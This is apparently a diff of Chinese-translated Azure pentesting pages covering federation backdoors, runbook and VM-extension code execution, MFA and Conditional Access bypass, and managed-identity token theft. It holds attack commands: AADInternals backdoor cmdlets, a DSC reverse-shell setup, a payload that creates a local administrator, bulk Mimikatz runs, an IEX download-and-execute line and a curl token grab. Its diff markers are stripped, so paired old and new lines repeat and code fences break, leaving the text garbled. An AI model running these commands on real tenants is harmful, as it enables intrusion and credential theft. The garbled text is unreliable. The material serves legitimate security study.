在本地 AD 上拥有 **DA 权限**,可以创建和导入有效期非常长的 **新令牌签名****令牌解密证书**。这将允许我们 **以任何用户身份登录**前提是我们知道他们的 ImuutableID。
拥有 **DA 权限** 的本地 AD,可以创建和导入 **新的 Token 签名****Token 解密证书**,这些证书的有效期非常长。这将允许我们 **以任何用户身份登录**只要我们知道他们的 ImuutableID。
**在 ADFS 服务器上以 **DA 身份运行**以下命令以创建新证书(默认密码 'AADInternals'),将其添加到 ADFS禁用自动滚动并重启服务
```powershell
**在 ADFS 服务器上以 **DA 身份运行** 以下命令以创建新证书(默认密码 'AADInternals'),将其添加到 ADFS禁用自动滚动并重启服务
```bash
New-AADIntADFSSelfSignedCertificates
```
然后,使用 Azure AD 更新证书信息:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### 联邦 - 受信任的域
拥有租户的 GA 权限,可以 **添加一个新域**(必须经过验证),将其身份验证类型配置为联邦,并将域配置为 **信任特定证书**(以下命令中的 any.sts和颁发者
```powershell
拥有租户的 GA 权限,可以**添加一个新域**(必须经过验证),将其身份验证类型配置为联邦,并将域配置为**信任特定证书**(以下命令中的 any.sts和颁发者
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

View File

@@ -21,7 +21,7 @@
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
总之,这些权限允许**创建、修改和运行自动化帐户中的运行簿**,您可以利用这些权限在自动化帐户的上下文中**执行代码**并提升对分配的**托管身份**的权限,泄露**凭据**和**存储在自动化帐户中的加密变量**。
总之,这些权限允许**创建、修改和运行自动化帐户中的运行簿**,您可以利用这些权限在自动化帐户的上下文中**执行代码**并提升对分配的**托管身份**的权限,泄露**凭据**和**存储在自动化帐户中的加密变量**。
权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中运行簿的代码:
```bash
@@ -82,7 +82,7 @@ az rest --method PATCH \
通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**可以在自动化帐户中创建一个每15分钟执行一次的新计划不太隐蔽使用以下命令。
请注意,**计划的最小间隔为15分钟**,并且**最开始时间为未来5分钟**。
请注意,**计划的最小间隔为15分钟**,并且**最开始时间为未来5分钟**。
```bash
## For linux
az automation schedule create \
@@ -123,7 +123,7 @@ az rest --method PUT \
}'
```
> [!TIP]
> 在前的示例中,jobchedule id 被留作 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 作为示例**,但您需要使用一个任意值来创建此分配。
> 前的示例中,作业调度 ID 被留作 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 作为示例**,但您需要使用一个任意值来创建此分配。
### `Microsoft.Automation/automationAccounts/webhooks/write`
@@ -194,16 +194,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
这将自动从Github存储库导入运行手册到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。
这将自动从Github存储库导入runbooks到Automation Account,并且通过一些其他权限开始运行它们,**可能会提升权限**。
此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。
此外,请记住,要使源控制在Automation Accounts中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。
> [!TIP]
> 请注意,一旦创建源控制,就无法更改存储库URL。
> 请注意,一旦创建源控制,就无法更改repo URL。
### `Microsoft.Automation/automationAccounts/variables/write`
通过权限**`Microsoft.Automation/automationAccounts/variables/write`**,可以使用以下命令在自动化帐户中写入变量。
通过权限**`Microsoft.Automation/automationAccounts/variables/write`**,可以使用以下命令在Automation Account中写入变量。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -219,7 +219,7 @@ az rest --method PUT \
```
### 自定义运行时环境
如果一个自动化账户使用自定义运行时环境,可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。
如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。
### 破坏状态配置
@@ -228,21 +228,21 @@ az rest --method PUT \
- 第一步 — 创建文件
**所需文件:** 需要两个 PowerShell 脚本:
1. `reverse_shell_config.ps1`:一个获取并执行有效载的期望状态配置DSC文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
1. `reverse_shell_config.ps1`:一个获取并执行有效载的期望状态配置DSC文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。
2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。
**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载标识符。
**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载标识符。
- 第二步 — 压缩配置文件
`reverse_shell_config.ps1` 压缩成一个 `.zip` 文件,以便准备传输到 Azure 存储账户。
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- 第 3 步 — 设置存储上下文并上传
压缩的配置文件使用 Azure 的 Set-AzStorageBlobContent cmdlet 上传到预定义的 Azure 存储容器 azure-pentest。
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- 第4步 — 准备Kali Box

View File

@@ -4,12 +4,12 @@
## 基本信息
Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略通过在适当的情况下应用正确的访问控制,帮助组织保护其资源。\
Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略帮助组织在适当的情况下应用正确的访问控制,从而保护其资源。\
条件访问策略基本上 **定义** **谁** 可以从 **哪里****如何** 访问 **什么**
以下是几个示例:
1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式不符,例如从不同国家登录,系统可以提示进行额外身份验证。
1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式不符,例如从不同国家登录,系统可以提示进行额外身份验证。
2. **设备合规性策略**:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在设备上安装了最新的防病毒软件或运行特定操作系统版本的情况下,才允许访问。
## 条件访问策略绕过
@@ -22,12 +22,12 @@ Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据
- **网络**IP、IP 范围和地理位置
- 可以使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过
- **Microsoft 风险**:用户风险、登录风险、内部人风险
- **Microsoft 风险**:用户风险、登录风险、内部人风险
- **设备平台**:任何设备或选择 Android、iOS、Windows Phone、Windows、macOS、Linux
- 如果未选择“任何设备”,但选择了所有其他选项,则可以使用与这些平台无关的随机用户代理绕过
- **客户端应用**选项为“浏览器”、“移动应用和桌面客户端”、“Exchange ActiveSync 客户端”和“其他客户端”
- 通过未选择的选项绕过登录
- **设备过滤器**:可以生成与所用设备相关的规则
- **设备过滤器**:可以生成与使用的设备相关的规则
- **身份验证流程**:选项为“设备代码流程”和“身份验证转移”
- 这不会影响攻击者,除非他试图在钓鱼尝试中滥用任何这些协议以访问受害者的帐户
@@ -78,14 +78,14 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
一个 Azure MFA 选项是 **接收在配置的电话号码上的电话**,用户将被要求 **发送字符 `#`**
> [!CAUTION]
> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话正在忙**(拨打它),这样 Azure 的电话就会被重定向到语音邮件。
> 由于字符只是 **音调**,攻击者可以 **破坏** 电话号码的 **语音邮件** 消息,将 **`#` 的音调** 配置为消息,然后在请求 MFA 时确保 **受害者的电话正在忙**(拨打它),以便 Azure 的电话被重定向到语音邮件。
### 合规设备
策略通常要求合规设备或 MFA因此 **攻击者可以注册合规设备**,获取 **PRT** 令牌并 **以此方式绕过 MFA**
首先在 Intune 中注册 **合规设备**,然后使用:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
在以下页面中找有关此类攻击的更多信息:
在以下页面中找有关此类攻击的更多信息:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
此脚本获取一些用户凭据并检查是否可以登录某些应用程序。
这对于查看您**是否不需要 MFA 登录某些应用程序**非常有用,这些应用程序您可能会利用来**提升权限**。
这对于查看您**是否不需要 MFA 登录某些应用程序**非常有用,这些应用程序您可能会稍后利用来**提升权限**。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -135,26 +135,26 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token 是一组旨在帮助安全顾问验证条件访问策略、测试启用 2FA 的 Microsoft 门户等的功能
Donkey token 是一组功能,旨在帮助需要验证条件访问策略、测试启用 2FA 的 Microsoft 门户等的安全顾问
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**测试每个门户** 是否可以 **在没有 MFA 的情况下登录**
```powershell
**测试每个门户**是否可以**在没有 MFA 的情况下登录**
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
因为 **Azure** **门户** **没有限制**,可以 **从门户端点收集令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint并请求访问它的令牌
```powershell
因为 **Azure** **门户** **没有限制**,可以 **从门户端点收集令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint并请求访问它的令牌
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
假设令牌具有 Sites.Read.All来自 Sharepoint的权限,即使由于 MFA 而无法通过网络访问 Sharepoint仍然可以使用该令牌访问带有生成令牌的文件:
```powershell
假设令牌具有 Sites.Read.All 权限(来自 Sharepoint即使由于 MFA 而无法通过网络访问 Sharepoint仍然可以使用该令牌访问生成令牌的文件:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## 参考

View File

@@ -12,7 +12,7 @@
## 权限提升
请注意,默认情况下,任何用户都可以在 Azure AD 中邀请来宾,因此,如果动态组的**规则**根据可以在新**来宾**中**设置**的**属性**授予用户**权限**,则可以使用这些属性**创建来宾**并**提升权限**。来宾也可以管理自己的个人资料并更改这些属性。
请注意,默认情况下,任何用户都可以在 Azure AD 中邀请来宾,因此,如果动态组的**规则**根据可以在新**来宾**中**设置**的**属性**授予**权限**,则可以使用这些属性**创建来宾**并**提升权限**。来宾也可以管理自己的个人资料并更改这些属性。
获取允许动态成员资格的组:**`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
@@ -23,7 +23,7 @@
对于来宾用户电子邮件,接受邀请并检查**该用户**在 [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) 的当前设置。\
不幸的是,该页面不允许修改属性值,因此我们需要使用 API
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## VMS & 网络
## 虚拟机与网络
有关 Azure 虚拟机和网络的更多信息,请查看:
@@ -79,7 +79,7 @@ az vm extension set \
您还可以执行其他有效负载,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- 使用 VMAccess 扩展重置密码
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess 扩展</summary>
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -105,8 +105,8 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
这是一个属于 Microsoft 的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**
```powershell
这是一个属于微软的**VM扩展**使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此可以通过此扩展在Windows虚拟机中**执行任意命令**
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -163,7 +163,7 @@ Set-AzVMDscExtension `
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可利用这一点来妥协执行任意命令的 VM 实例。
这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可能会利用这一点来妥协执行任意命令的 VM 实例。
最后两个权限可以通过与租户共享应用程序来避免。
@@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
所有这些都是 **创建具有特定托管身份的 VM** 并保持 **端口开放**(在情况下为 22所需的权限。这允许用户创建 VM 并连接到它,并 **窃取托管身份令牌** 以提升权限。
所有这些都是 **创建具有特定托管身份的 VM** 并保持 **端口开放**(在这种情况下为 22所需的权限。这允许用户创建 VM 并连接到它,并 **窃取托管身份令牌** 以提升权限。
根据情况,可能需要更多或更少的权限来滥用此技术。
```bash
@@ -343,7 +343,7 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
然后攻击者需要**以某种方式破坏虚拟机**以窃取分配的托管身份的令牌。查看**更多信息**
然后攻击者需要**以某种方式攻陷虚拟机**以窃取分配的托管身份的令牌。查看**更多信息**
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm

View File

@@ -13,7 +13,7 @@
**IDENTITY_HEADER****IDENTITY_ENDPOINT** 获取 **access_token**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`
然后查询 Azure REST API 以获取 **subscription ID** 和更多信息。
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
@@ -30,7 +30,7 @@ Headers = @{
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```
#### 通过 Python 版本的 Azure API
#### Azure API via Python 版本
```python
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']

View File

@@ -8,7 +8,7 @@ Azure Container Registry (ACR) 是 Microsoft Azure 提供的一个托管服务
### 枚举
要枚举该服务,您可以使用脚本 [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1)
要枚举该服务,您可以使用脚本 [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
```bash
# List Docker images inside the registry
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

View File

@@ -18,17 +18,17 @@ Azure App Services 使开发人员能够 **无缝构建、部署和扩展 Web
应用程序有一些有趣的配置:
- **始终开启**:确保应用程序始终运行。如果未启用,应用程序将在 20 分钟不活动后停止运行,并在收到请求时重新启动。
- 如果您有需要持续运行的 WebJob这是必需的因为如果应用程序停止WebJob 将停止。
- 如果您有需要持续运行的 Web 作业这是必需的因为如果应用程序停止Web 作业也会停止。
- **SSH**:如果启用,具有足够权限的用户可以使用 SSH 连接到应用程序。
- **调试**:如果启用,具有足够权限的用户可以调试应用程序。然而,这在每 48 小时自动禁用。
- **Web 应用 + 数据库**Web 控制台允许创建带有数据库的应用。在这种情况下可以选择要使用的数据库SQLAzure、PostgreSQL、MySQL、MongoDB并且还允许您创建 Azure Cache for Redis。
- **调试**:如果启用,具有足够权限的用户可以调试应用程序。但是,这在每 48 小时自动禁用。
- **Web 应用 + 数据库**Web 控制台允许创建带有数据库的应用程序。在这种情况下可以选择要使用的数据库SQLAzure、PostgreSQL、MySQL、MongoDB并且还允许您创建 Azure Cache for Redis。
- 包含数据库和 Redis 凭据的 URL 将存储在 **appsettings** 中。
- **容器**:可以通过指示容器的 URL 和访问凭据将容器部署到 App Service。
- **挂载**:可以从存储帐户创建 5 个挂载,这些存储帐户可以是 Azure Blob只读或 Azure Files。配置将存储访问密钥在存储帐户中。
## Basic Authentication
在创建 Web 应用程序(通常是 Azure 函数)时,可以指示是否要 **启用基本身份验证**(默认情况下禁用)。这基本上 **启用 SCM控制管理)和 FTP文件传输协议**,因此可以使用这些技术部署应用程序。
在创建 Web 应用程序(通常是 Azure 函数)时,可以指示是否要 **启用基本身份验证**(默认情况下禁用)。这基本上 **启用 SCM代码管理)和 FTP文件传输协议**,因此可以使用这些技术部署应用程序。
要访问 SCM 和 FTP 服务器,需要 **用户名和密码**。因此Azure 提供了一些 **API 来获取这些平台的 URL** 和凭据。
@@ -39,7 +39,7 @@ SCM
### Kudu
Kudu 是 **管理 SCM 和 Web 及 API 接口** 的平台,用于管理 App Service并提供基于 Git 的部署、远程调试和文件管理功能。可以通过在 Web 应用中定义的 SCM URL 访问
Kudu 是 **管理 SCM 和 Web 及 API 接口** 的平台,用于管理 App Service并提供基于 Git 的部署、远程调试和文件管理功能。可以通过在 Web 应用程序中定义的 SCM URL 访问。
请注意App Services 和 Function Apps 使用的 Kudu 版本不同Function Apps 的版本要有限得多。
@@ -50,9 +50,9 @@ Kudu 是 **管理 SCM 和 Web 及 API 接口** 的平台,用于管理 App Serv
- `/webssh/host`:一个基于 Web 的 SSH 客户端,允许您连接到应用程序运行的容器内。
- 此环境 **可以访问元数据服务** 以获取分配的管理身份的令牌。
- `/Env`:获取有关系统、应用设置、环境变量、连接字符串和 HTTP 头的信息。
- `/wwwroot/`Web 应用的根目录。您可以从这里下载所有文件。
- `/wwwroot/`Web 应用程序的根目录。您可以从这里下载所有文件。
此外Kudu 曾经是开源的,地址为 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu),但该项目已被弃用,比较当前 Azure 中的 Kudu 与旧版 Kudu 的行为,可以看到 **许多事情已经改变**
此外Kudu 曾 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) 上开源,但该项目已被弃用,比较当前 Azure 中的 Kudu 与旧版 Kudu 的行为,可以看到 **许多事情已经改变**
## Sources
@@ -65,31 +65,31 @@ App Services 默认允许将代码作为 zip 文件上传,但也允许连接
- 您可以通过运行 `az webapp deployment source show --name <app-name> --resource-group <res-group>``az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` 获取远程仓库的凭据。
- 还可以使用 **Azure Repository**
- 还可以配置 **本地 git 仓库**
- 您可以通过 `az webapp deployment source show --name <app-name> --resource-group <res-group>` 获取 git 仓库的 URL这将是应用的 SCM URL。
- 您可以通过 `az webapp deployment source show --name <app-name> --resource-group <res-group>` 获取 git 仓库的 URL这将是应用程序的 SCM URL。
- 要克隆它,您将需要 SCM 凭据,可以通过 `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` 获取。
## Webjobs
Azure WebJobs 是 **在 Azure App Service 环境中运行的后台任务**。它们允许开发人员在其 Web 应用程序旁边执行脚本或程序,使处理异步或时间密集型操作(例如文件处理、数据处理或计划任务)变得更加容易。
WebJobs 有 2 种类型:
- **持续**:无限期循环运行,并在创建后立即触发。它非常适合需要持续处理的任务。然而,如果应用程序因未启用始终开启而停止运行,并且在过去 20 分钟内没有收到请求,则 WebJob 也将停止。
- **触发**:按需或基于计划运行。最适合定期任务,例如批量数据更新或维护例程。
Azure WebJobs 是 **在 Azure App Service 环境中运行的后台任务**。它们允许开发人员在其 Web 应用程序旁边执行脚本或程序,使处理异步或时操作(例如文件处理、数据处理或计划任务)变得更加容易。
Web 作业有 2 种类型:
- **持续**:无限期循环运行,并在创建后立即触发。它非常适合需要持续处理的任务。但是,如果应用程序因未启用始终开启而停止运行,并且在过去 20 分钟内收到请求,则 Web 作业也会停止。
- **触发**:按需或基于计划运行。最适合定期任务,例如批量数据更新或维护例程。
从攻击者的角度来看WebJobs 非常有趣,因为它们可以用来 **在环境中执行代码****提升权限** 到附加的管理身份。
从攻击者的角度来看Web 作业非常有趣,因为它们可以用来 **在环境中执行代码****提升权限** 到附加的管理身份。
此外,检查 WebJobs 生成的 **日志** 总是很有趣,因为它们可能包含 **敏感信息**
此外,检查 Web 作业生成的 **日志** 总是很有趣,因为它们可能包含 **敏感信息**
## Slots
Azure App Service Slots 用于 **将应用程序的不同版本部署到同一 App Service**。这允许开发人员在将新功能或更改部署到生产环境之前,在单独的环境中进行测试。
Azure App Service Slots 用于 **将不同版本的应用程序部署到同一 App Service**。这允许开发人员在将新功能或更改部署到生产环境之前,在单独的环境中进行测试。
此外,可以将 **一定比例的流量** 路由到特定插槽,这对于 A/B 测试和 **后门目的** 很有用。
此外,可以将 **一定比例的流量** 路由到特定插槽,这对于 A/B 测试和 **后门目的** 很有用。
## Azure Function Apps
基本上 **Azure Function apps 是 Azure App Service 的一个子集**在 Web 控制台中,如果您访问 Web 控制台并列出所有应用服务或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function apps 也列在其中**
基本上 **Azure Function 应用程序是 Azure App Service 的一个子集**,如果您访问 Web 控制台并列出所有应用服务或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function 应用程序也列在其中**
因此,这两项服务实际上在 az cli 中大多数 **具有相同的配置、功能和选项**,尽管它们可能稍微不同的方式配置(例如 appsettings 的默认值或在 Function apps 中使用存储帐户)。
因此,这两项服务实际上在 az cli 中具有大多数 **相同的配置、功能和选项**,尽管它们可能稍微不同配置(例如 appsettings 的默认值或在 Function 应用程序中使用存储帐户)。
## Enumeration
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -238,25 +238,25 @@ cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
登录到SCM门户或通过FTP登录可以在`/wwwroot`中看到压缩文件`output.tar.gz`该文件包含webapp的代码。
登录到 SCM 门户或通过 FTP 登录,可以在 `/wwwroot` 中看到压缩文件 `output.tar.gz`,该文件包含 webapp 的代码。
> [!TIP]
> 仅通过FTP连接并修改文件`output.tar.gz`不足以更改webapp执行的代码。
> 仅通过 FTP 连接并修改文件 `output.tar.gz`不足以更改 webapp 执行的代码。
**攻击者可以下载此文件修改它然后重新上传以在webapp中执行任意代码。**
**攻击者可以下载此文件,修改它,然后重新上传以在 webapp 中执行任意代码。**
### 来自GithubPython
### 来自 GithubPython
本教程基于之前的教程但使用Github存储库。
本教程基于之前的教程,但使用 Github 存储库。
1. 在您的Github户中分叉存储库msdocs-python-flask-webapp-quickstart。
2. 在Azure中创建一个新的Python Web应用。
3.`Deployment Center`中更改源使用Github登录选择分叉的存储库并点击`Save`
1. 在您的 Github户中分叉存储库 msdocs-python-flask-webapp-quickstart。
2. Azure 中创建一个新的 Python Web 应用。
3. `Deployment Center` 中更改源,使用 Github 登录,选择分叉的存储库并点击 `Save`
与之前的情况一样登录到SCM门户或通过FTP登录可以在`/wwwroot`中看到压缩文件`output.tar.gz`该文件包含webapp的代码。
与之前的情况一样,登录到 SCM 门户或通过 FTP 登录,可以在 `/wwwroot` 中看到压缩文件 `output.tar.gz`,该文件包含 webapp 的代码。
> [!TIP]
> 仅通过FTP连接并修改文件`output.tar.gz`并重新触发部署不足以更改webapp执行的代码。
> 仅通过 FTP 连接并修改文件 `output.tar.gz` 并重新触发部署不足以更改 webapp 执行的代码。
## 权限提升

View File

@@ -4,7 +4,7 @@
## 基本信息
[来自文档](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
Azure Active Directory 的 Application Proxy 提供 **对本地 Web 应用程序的安全远程访问**。在 **单点登录到 Azure AD** 后,用户可以通过 **外部 URL** 或内部应用程序门户访问 **云****本地应用程序**
@@ -12,7 +12,7 @@ Azure Active Directory 的 Application Proxy 提供 **对本地 Web 应用程序
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
1. 用户通过端点访问应用程序后,用户被引导到 **Azure AD 登录页面**
1. 用户通过端点访问应用程序后,用户被引导到 **Azure AD 登录页面**
2.**成功登录**Azure AD 将 **令牌** 发送到用户的客户端设备。
3. 客户端将令牌发送到 **Application Proxy 服务**,该服务从令牌中检索用户主体名称 (UPN) 和安全主体名称 (SPN)。**Application Proxy 然后将请求发送到 Application Proxy 连接器**。
4. 如果您已配置单点登录,连接器将代表用户执行任何 **额外的身份验证**
@@ -20,7 +20,7 @@ Azure Active Directory 的 Application Proxy 提供 **对本地 Web 应用程序
6. **响应** 通过连接器和 Application Proxy 服务 **发送给用户**
## 枚举
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

View File

@@ -4,7 +4,7 @@
## 基本信息
[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 要为您的 Azure 解决方案实现 **基础设施即代码**,请使用 Azure 资源管理器模板ARM 模板)。模板是一个 JavaScript 对象表示法(**JSON**)文件,**定义**了您项目的 **基础设施** 和配置。模板使用声明性语法,这使您可以声明您打算部署的内容,而无需编写创建它的编程命令序列。在模板中,您指定要部署的资源及其属性。
